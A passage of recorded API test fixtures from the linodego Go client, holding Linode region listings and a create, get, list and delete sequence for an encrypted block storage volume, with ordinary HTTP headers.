"Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 30}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 10 Oct 2024 18:19:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-get-encryption","region":"us-lax","tags":null,"encryption":"enabled"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 6578910, "status": "creating", "label": "go-vol-test-get-encryption", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-get-encryption", "size": 20, "linode_id": null, "linode_label": null, "region": "us-lax", "tags": [], "hardware_type": "nvme", "encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "364" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 10 Oct 2024 18:19:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "100" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/6578910 method: GET response: body: '{"id": 6578910, "status": "creating", "label": "go-vol-test-get-encryption", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-get-encryption", "size": 20, "linode_id": null, "linode_label": null, "region": "us-lax", "tags": [], "hardware_type": "nvme", "encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "364" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 10 Oct 2024 18:19:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes?page=1 method: GET response: body: '{"data": [{"id": 6578910, "status": "creating", "label": "go-vol-test-get-encryption", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-get-encryption", "size": 20, "linode_id": null, "linode_label": null, "region": "us-lax", "tags": [], "hardware_type": "nvme", "encryption": "enabled"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "413" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 10 Oct 2024 18:19:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/6578910 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 10 Oct 2024 18:19:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVolume_List.yaml000066400000000000000000000641601474652371000305610ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": 